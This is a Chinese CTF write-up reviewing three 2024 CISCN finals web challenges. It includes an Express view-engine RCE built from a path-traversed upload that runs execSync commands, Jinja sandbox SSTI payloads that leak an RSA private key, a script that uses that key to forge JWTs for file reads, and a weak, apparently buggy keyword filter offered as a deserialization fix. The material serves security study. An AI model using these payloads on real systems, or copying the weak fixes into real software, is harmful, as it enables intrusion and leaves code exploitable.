2024 CISCN 决赛赛后学习与总结

前言

分数实在是难以启齿。终于想起来要复现这个了,就找到了不是 java 的部分 wp,后面的要是找到了再补充吧。

ezjs

谈Express engine处理引擎的一个trick

测试服务

跑起本地服务

1
node app.js

break

原理

比如a.natro这个文件在被 render() 时,他就会自动执行 require natro

详细可以阅读引用文章。

测试

我们在 node_modules 下想办法上传一个natro文件夹,然后添加进 index.js。这里的rename方法正好就可以做到。首先我们上传一个 index.js 文件,然后 rename 路径穿越到 node_modules 下面。

因此我们通过此方法,将其他后缀文件解析成需要的 ejs 格式。

首先我们需要上传上去 index.js

1
2
3
exports.__express = function() {
console.log(require('child_process').execSync('whoami').toString());
};

然后我们通过 rename 方法路径穿越过去。

我们可以发现文件已经被移动到目标路径下了:

我们再次上传一个 evil.natro 文件上去。

再从 render 路由下渲染下。

但是我们能发现这个后面只能在控制台输出,用户侧是看不到的。

然后我在这里我就懵了一下,断网你也没法反弹 shell,你 rce 了之后怎么能得到 flag。后面想到了可以给 view 下的文本增加内容。

也就是将前面的那个 index.js 修改一下:

1
2
3
exports.__express = function() {
console.log(require('child_process').execSync('whoami >> ./views/upload.ejs').toString());
};

然后再按照流程执行一下,再访问 upload 路由就能看到回显了:

然后直接读取 flag 就行,这种如果有 static 文件夹可能应该更好办一些。

Fix

当时原来里面自带的直接将 ejs 文件后缀过滤掉了,后面改成白名单一些后缀就行了。

或者把.js这些的也跟着过滤一下。或者直接过滤上传文件的内容也可以。

ShareCard

这个题我就 sb 了,当时因为库不全就跑不起来。

测试服务

跑之前记得把那几个读取文件的地方改成 UTF-8 编码。

将第 28 行修改成对应的内容就能跑起来了。

1
2
3
return env.from_string(open('templates/'+template_name).read()).render(**kwargs)
->
return env.from_string(open('templates/'+template_name, encoding='utf-8').read()).render(**kwargs)

break

createCard 路由只传进了三个参数。当时做的时候就呆了,根本没审明白代码。

对传入文件有验证,只能传入 avatars 下的几个表情。

生成的 jwt 密钥也挺长,没法爆破。能注意到 show.html 中有 style.css 的引用。

style 可以传参写入到 style.css 中,然后打 SSTI。

这里的 ssti 是在 sandbox 里面,所以先不考虑什么逃逸的,先看 rsakey 写 jwt 出来。

1
2
3
4
5
6
7
8
9
10
11
12
# 先找类变量
{{ info }}
name='123' avatar='PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMzYgMzYiPgo8dGl0bGU+8J+koTogY2xvd24gZmFjZSAoVSsxRjkyMSkgLSBlbW9qaWFsbC5jb208L3RpdGxlPgo8c3R5bGU+c3Zne3N0cm9rZTojZWRmMmY2O2FuaW1hdGlvbjpkYXNob2Zmc2V0IDEwcyBib3RoIGluZmluaXRlLGZpbGwtb3BhY2l0eSAxMHMgYm90aCBpbmZpbml0ZSxzdHJva2Utb3BhY2l0eSAxMHMgYm90aCBpbmZpbml0ZTtzdHJva2UtZGFzaGFycmF5OjUwMCU7c3Ryb2tlLWRhc2hvZmZzZXQ6NTAwJX1Aa2V5ZnJhbWVzIHN0cm9rZS1vcGFjaXR5ezIlLDI1JXtzdHJva2Utb3BhY2l0eTouNzU7c3Ryb2tlLXdpZHRoOjIlfTEwMCUsNzUle3N0cm9rZS1vcGFjaXR5OjA7c3Ryb2tlLXdpZHRoOjB9fUBrZXlmcmFtZXMgZmlsbC1vcGFjaXR5ezEwJSwyNSV7ZmlsbC1vcGFjaXR5OjB9MCUsMTAwJSw1MCV7ZmlsbC1vcGFjaXR5OjF9fUBrZXlmcmFtZXMgZGFzaG9mZnNldHswJSwyJXtzdHJva2UtZGFzaG9mZnNldDo1MDAlfTEwMCV7c3Ryb2tlLWRhc2hvZmZzZXQ6MCV9fTwvc3R5bGU+CjxjaXJjbGUgZmlsbD0iIzQyODlDMSIgY3g9IjI5IiBjeT0iMyIgcj0iMiIvPgo8Y2lyY2xlIGZpbGw9IiM0Mjg5QzEiIGN4PSIzMyIgY3k9IjgiIHI9IjMiLz4KPGNpcmNsZSBmaWxsPSIjNDI4OUMxIiBjeD0iMzMiIGN5PSI0IiByPSIzIi8+CjxjaXJjbGUgZmlsbD0iIzQyODlDMSIgY3g9IjciIGN5PSIzIiByPSIyIi8+CjxjaXJjbGUgZmlsbD0iIzQyODlDMSIgY3g9IjMiIGN5PSI4IiByPSIzIi8+CjxjaXJjbGUgZmlsbD0iIzQyODlDMSIgY3g9IjMiIGN5PSI0IiByPSIzIi8+CjxwYXRoIGZpbGw9IiNGRUU3QjgiIGQ9Ik0zNiAxOGMwIDkuOTQxLTguMDU5IDE4LTE4IDE4UzAgMjcuOTQxIDAgMTggOC4wNTkgMCAxOCAwczE4IDguMDU5IDE4IDE4Ii8+CjxjaXJjbGUgZmlsbD0iIzQyODlDMSIgY3g9IjMwLjUiIGN5PSI0LjUiIHI9IjIuNSIvPgo8Y2lyY2xlIGZpbGw9IiM0Mjg5QzEiIGN4PSIzMiIgY3k9IjciIHI9IjIiLz4KPGNpcmNsZSBmaWxsPSIjNDI4OUMxIiBjeD0iNS41IiBjeT0iNC41IiByPSIyLjUiLz4KPGNpcmNsZSBmaWxsPSIjNDI4OUMxIiBjeD0iNCIgY3k9IjciIHI9IjIiLz4KPGNpcmNsZSBmaWxsPSIjRkY3ODkyIiBjeD0iNi45MyIgY3k9IjIxIiByPSI0Ii8+CjxjaXJjbGUgZmlsbD0iI0ZGNzg5MiIgY3g9IjI4LjkzIiBjeT0iMjEiIHI9IjQiLz4KPHBhdGggZmlsbD0iI0RBMkY0NyIgZD0iTTI3LjMzNSAyMy42MjljLS4xNzgtLjE2MS0uNDQ0LS4xNzEtLjYzNS0uMDI5LS4wMzkuMDI5LTMuOTIyIDIuOS04LjcgMi45LTQuNzY2IDAtOC42NjItMi44NzEtOC43LTIuOS0uMTkxLS4xNDItLjQ1Ny0uMTMtLjYzNS4wMjktLjE3Ny4xNi0uMjE3LjQyNC0uMDk0LjYyOEM4LjcgMjQuNDcyIDExLjc4OCAzMSAxOCAzMXM5LjMwMS02LjUyOCA5LjQyOS02Ljc0M2MuMTIzLS4yMDUuMDg0LS40NjgtLjA5NC0uNjI4eiIvPgo8ZWxsaXBzZSBmaWxsPSIjNjY0NTAwIiBjeD0iMTEuNSIgY3k9IjExLjUiIHJ4PSIyLjUiIHJ5PSIzLjUiLz4KPGVsbGlwc2UgZmlsbD0iIzY2NDUwMCIgY3g9IjI1LjUiIGN5PSIxMS41IiByeD0iMi41IiByeT0iMy41Ii8+CjxjaXJjbGUgZmlsbD0iI0JCMUEzNCIgY3g9IjE4LjUiIGN5PSIxOS41IiByPSIzLjUiLz4KPC9zdmc+Cg==' signature='123'
# 通过方法找到全局变量 从这开始可能写入时会报错500 但是仍然能写入进去
{{ info.__class__.parse_avatar.__globals__ }}
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000021CAA822150>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\Wxxx\\app.py', '__cached__': None, 'Flask': <class 'flask.app.Flask'>, 'request': <Request 'http://192.168.124.7:8888/showCard?token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTIzIiwiYXZhdGFyIjoiXHVkODNlXHVkZDIxLnN2ZyIsInNpZ25hdHVyZSI6IjEyMyJ9.zUC5uYPKl2nBnkNtGnS3GXZK2bwU8q3twowcd-2dXdhbFEJwydsusDqewYANRfvs_y1fZMT-2samimW5FHj_Z7jSCDDNEOJI6X_uWuDwAi7OpEQ33kIeFkrDDsYOaxH9fvjhyKzvS0JFk4JkFmeMR5oLN95rE-ZC1kz56imX8Vk' [GET]>, 'url_for': <function url_for at 0x0000021CACFD9DA0>, 'redirect': <function redirect at 0x0000021CACFDB9C0>, 'current_app': <Flask 'app'>, 'SandboxedEnvironment': <class 'jinja2.sandbox.SandboxedEnvironment'>, 'RSA': <module 'Crypto.PublicKey.RSA' from 'D:\\xxxixxxy\\RSA.py'>, 'BaseModel': <class 'pydantic.main.BaseModel'>, 'BytesIO': <class '_io.BytesIO'>, 'qrcode': <module 'qrcode' from 'D:\\xxxcode\\__init__.py'>, 'base64': <module 'base64' from 'D:\\Woxxxbase64.py'>, 'json': <module 'json' from 'D:\\Woxxxxxxit__.py'>, 'jwt': <module 'jwt' from 'D:\\Worxxxinit__.py'>, 'os': <module 'os' (frozen)>, 'SaferSandboxedEnvironment': <class '__main__.SaferSandboxedEnvironment'>, 'Info': <class '__main__.Info'>, 'safer_render_template': <function safer_render_template at 0x0000021CAA6104A0>, 'app': <Flask 'app'>, 'rsakey': RsaKey(n=149734774592296373980048608306197654080122234127257312221283100120251564044197667248509985845357592829093610366615583829756117959556423946018582597586879161712532047061373180965436345089737358363339500167282637905609851580352684421699692042026155722938785458026388369373983699569820167456170108741938523560817, e=65537, d=41391428412977970599959574169999081437089498368348522160869055393572141843641104089409511551755814738060551935651482741837079985570043706883831295744124630202233652063663471805977589143223088584562347239668100002301020254397231403690002347907588013892916702806285190813810176439763575430819418285567338314723, p=11847121577569830426493966752991746703740196255647600422238325076230692024115788664210281381915029093272951571324946083081661355694121499411497782522323751, q=12638916011108504477113903105211483241129010131001832284949386618177335357156647556196781089008610706070106941762206462838352105052750694089390474183494567, u=36215855715957604058172274711785367747525773740295424439136094022991532998339818561958029500596118273946533757316359891909623165122799174873286795025101), 'create_card': <function create_card at 0x0000021CBC4DBA60>, 'show_card': <function show_card at 0x0000021CBC4DB9C0>, 'index': <function index at 0x0000021CBC4DBD80>, '__warningregistry__': {'version': 4}}
# 但是这里的rsakey的参数,再引用查看下
{{ info.__class__.parse_avatar.__globals__.rsakey }}
Private RSA key at 0x21CAD38B2D0
# 解析成dict 其实和前面没差多少
{{ info.__class__.parse_avatar.__globals__.rsakey.__dict__ }}
{'_n': Integer(149734774592296373980048608306197654080122234127257312221283100120251564044197667248509985845357592829093610366615583829756117959556423946018582597586879161712532047061373180965436345089737358363339500167282637905609851580352684421699692042026155722938785458026388369373983699569820167456170108741938523560817), '_e': Integer(65537), '_d': Integer(41391428412977970599959574169999081437089498368348522160869055393572141843641104089409511551755814738060551935651482741837079985570043706883831295744124630202233652063663471805977589143223088584562347239668100002301020254397231403690002347907588013892916702806285190813810176439763575430819418285567338314723), '_p': Integer(11847121577569830426493966752991746703740196255647600422238325076230692024115788664210281381915029093272951571324946083081661355694121499411497782522323751), '_q': Integer(12638916011108504477113903105211483241129010131001832284949386618177335357156647556196781089008610706070106941762206462838352105052750694089390474183494567), '_u': Integer(36215855715957604058172274711785367747525773740295424439136094022991532998339818561958029500596118273946533757316359891909623165122799174873286795025101), '_dp': Integer(344005254468702981546577028715737583002236804774362323626646514489021574406706834734457870665186083655010556483076314083714566731554895911928838368249723), '_dq': Integer(5773012966607154455077356141637636004443244553024090963119457534143133404282836330542298883065638669548631327367008719731847204857623815975188120369911803), '_invq': None}

然后先写个脚本吧(这个 RSA 这个引入写法卡了我好久,后面搜到的,这断网环境下还真不太好办):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import base64

from Crypto.PublicKey import RSA
# from Crypto.Util.number import Integer
import jwt
from pydantic import BaseModel

_n = (
149734774592296373980048608306197654080122234127257312221283100120251564044197667248509985845357592829093610366615583829756117959556423946018582597586879161712532047061373180965436345089737358363339500167282637905609851580352684421699692042026155722938785458026388369373983699569820167456170108741938523560817)
_e = (65537)
_d = (
41391428412977970599959574169999081437089498368348522160869055393572141843641104089409511551755814738060551935651482741837079985570043706883831295744124630202233652063663471805977589143223088584562347239668100002301020254397231403690002347907588013892916702806285190813810176439763575430819418285567338314723)
_p = (
11847121577569830426493966752991746703740196255647600422238325076230692024115788664210281381915029093272951571324946083081661355694121499411497782522323751)
_q = (
12638916011108504477113903105211483241129010131001832284949386618177335357156647556196781089008610706070106941762206462838352105052750694089390474183494567)
_u = (
36215855715957604058172274711785367747525773740295424439136094022991532998339818561958029500596118273946533757316359891909623165122799174873286795025101)
_dp = (
344005254468702981546577028715737583002236804774362323626646514489021574406706834734457870665186083655010556483076314083714566731554895911928838368249723)
_dq = (
5773012966607154455077356141637636004443244553024090963119457534143133404282836330542298883065638669548631327367008719731847204857623815975188120369911803)
_invq = None
rsa_key = RSA.construct((_n, _e, _d, _p, _q, _u, _dp, _dq, _invq))
pem_key = rsa_key.exportKey('PEM')


class Info(BaseModel):
name: str
avatar: str
signature: str

def parse_avatar(self):
self.avatar = base64.b64encode(open('avatars/' + self.avatar, 'rb').read()).decode()


def encode_jwt(filename):
info_t = Info(name='natro92', avatar=filename, signature='natro92.fun')
token = jwt.encode(dict(info_t), pem_key, algorithm='RS256')
return token


def decode_jwt(token):
public_key = RSA.import_key(pem_key).public_key().export_key('PEM')
data = jwt.decode(token, public_key, algorithms='RS256')
info_t = Info(**data)
return info_t


if __name__ == '__main__':
jwt_test = encode_jwt('111.txt')
print(jwt_test)
info = decode_jwt(jwt_test)
print(info.avatar)

fix

把 render 时用的 SaferSandboxedEnvironment 类改成原来的 SandboxedEnvironment 类就好了:

改成

SolonMaster

fix

反序列化,把传入点进行关键字过滤

1
2
3
4
5
6
7
8
9
10
11
@Mapping("/api")
@Post
public String api(Map map, Context ctx) throws Exception {
JSONObject jsonObject = new JSONObject(ctx.body());
if (map.size() != jsonObject.length()) {
User user = (User) deserialize((String) map.get("data"));
return user.getName();
}
return "success";
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@Mapping("/api")
@Post
public String api(Map map, Context ctx) throws Exception {
JSONObject jsonObject = new JSONObject(ctx.body());
if (map.size() != jsonObject.length()) {
byte[] decodedata =Base64.getEncoder.decode((String)map.get("data"));
String data1 = new String(decodedata);
if (data1.contains("snack") && data1.contains("log")) {
return "false";} else{
User user = (User)deserialize((String)map.get("data"));
return user.getName();
}

}
return "success";
}

Fobee

没找到 wp 捏